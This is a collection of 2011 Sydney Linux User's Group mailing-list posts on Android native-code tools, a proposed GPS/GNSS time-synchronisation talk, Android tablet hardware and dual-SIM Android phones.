http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] New ARM tools for Native apps on Android
http://arstechnica.com/gadgets/news/2011/11/arms-new-tools-make-it-easier-for-android-devs-to-use-native-code.ars -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] SLUG Meeting November 2011: GPS Time Sync Talk.
I wish I had something ready. At the moment I'm trying to get Navit working on an STM32 based board. There's a whole changeover to Android and some very interesting things to work on. I'm sure we could fill 2012 with talks from people. I'm surprised how much linux there actually is inside Android. It seems to be a fancy Linux OS just for running Java apps. Maybe there's more.. we should dig to see.. On Mon, Nov 21, 2011 at 11:07 PM, M Willis will...@westnet.com.au wrote: Hi Everyone, I have talked to Patrick before about this, but the email monster seems to be eating my messages. Is someone interested giving a talk on Friday about satellite navigation; such as Geocaching, Geolocation or systems such as OpenStreetMap or Google Maps? Regards Mark [Here is the talk that I propose to give at the meeting] In 2012 there will be big changes for Global Navigation Satellite Systems (GNSS) such as GPS. As illustrated by the first affordable GLONASS receivers such as in the iPhone 4GS, GPS will no longer have a monopoly on satellite navigation. This focus of talk is the use of GPS/GNSS in precision applications such in time synchronisation. The future of GPS/GNSS and Time Transfer Systems: The times they are a changing 1. Reasons for precision timing - such as regulatory compliance and performance monitoring 2. The future of GPS (L2C,L5,L1C) and other GNSS options GLONASS, Galileo, Beidou/COMPASS, QZSS and MSAS/WAAS 3. GPS receiver choices and Antennas. 4. PPS signals and your computer and the limits of computer time synchronisation The coverage of GPS and other satellite systems should be interest to any one who uses GPS for navigation. [At the level of the old SLUG Main Talk this will take 30 minutes] -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Alternatives to Gnome3
Everybody wants slippery slidy finger driven desktops these days. If it's not like that then it's not cool. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Alternatives to Gnome3
I've given up trying to find any job. Not employable. Rather, I'm trying to build a pad computer based on Android to take back to Japan and sell. The whole android hardware thing is going through a massive transformation and there's just a whole lot of things 'not-right' about android that require special parts to fix. This is well understood in Japan. Most of the Taiwanese pads are clones of the japanese pads. What I mean about the transformation is doing things like android keyboards that sit on the stearing wheel of the car. Android is being embedded in everything. A massive transformation is about to happen. -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Using a Dual SIM Android Smart Phone
They're definitely not so common in Australia, but in the middle east such as Turkey (well half europe/half middle east) most people have phones like that. Basically, if half of your friends are on one network, the other half are on another. So they enable people to get cheap calls by allowing you to be on several different networks at once. Obviously, here where the networks push out the cheap subsidised phones, well they are not so commonly available. Interesting though... On Thu, Sep 29, 2011 at 12:17 PM, Tom Worthington tom.worthing...@tomw.net.au wrote: I have volunteered to talk on Using a Dual SIM Android Smart Phone at the SLUG meeting this Friday, on: Using a Dual SIM Android Smart Phone by Tom Worthington FACS CP HLM One of the more unusual Google Android smart phones available is the Huawei Deuce U8520, which has provision for two SIM cards and so can be connected to two different mobile phone networks, with two different telephone numbers simultaneously. The benefits and limitations of this and other features will be discussed. See also: http://blog.tomw.net.au/2011/**09/huawei-deuce-u8520-dual-** sim-android.htmlhttp://blog.tomw.net.au/2011/09/huawei-deuce-u8520-dual-sim-android.html -- Tom Worthington FACS CP HLM, TomW Communications Pty Ltd. t: 0419496150 PO Box 13, Belconnen ACT 2617, Australia http://www.tomw.net.au Liability limited by a scheme approved under Professional Standards Legislation Adjunct Senior Lecturer, Research School of Computer Science, Australian National University http://cs.anu.edu.au/courses/**COMP7310/http://cs.anu.edu.au/courses/COMP7310/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/**mailinglists.htmlhttp://slug.org.au/faq/mailinglists.html -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
